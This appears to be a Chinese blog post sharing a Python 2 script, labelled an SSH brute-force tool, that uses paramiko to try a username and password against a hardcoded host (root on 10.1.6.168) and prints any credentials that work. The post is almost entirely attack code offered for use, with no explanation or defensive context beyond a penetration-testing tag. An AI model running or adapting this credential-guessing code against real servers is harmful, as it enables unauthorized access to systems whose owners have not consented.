SSh爆破类 Fucksshexploit 工具-ssh连接类

SSh爆破类 Fucksshexploit 工具

    fuckSsh = Fucksshexploit('10.1.6.168', port=22)
    fuckSsh.setUserPwd('root', 'xxoo')
    fuckSsh.run()
#!/usr/bin/env python
# coding=utf-8
__author__ = 'pyphrb'
import paramiko

class Fucksshexploit(object):

    def __init__(self, hostIp, port):
        self.hostIp = hostIp
        self.port = port
    def setUserPwd(self, username, password):
        self.username = username
        self.password = password

    def run(self):
        try:
            self.ssh = paramiko.SSHClient()
            self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            self.ssh.connect(self.hostIp,port=self.port, username=self.username, password=self.password, timeout=0.2)
            print "[*]----success" + self.hostIp + '-username:' + self.username + '-password:' + self.password
            self.ssh.close()

        except Exception as e:
            print e
if __name__=='__main__':
    fuckSsh = Fucksshexploit('10.1.6.168', port=22)
    fuckSsh.setUserPwd('root', 'xxoo')
    fuckSsh.run()

你可能感兴趣的:(编程之美,渗透测试)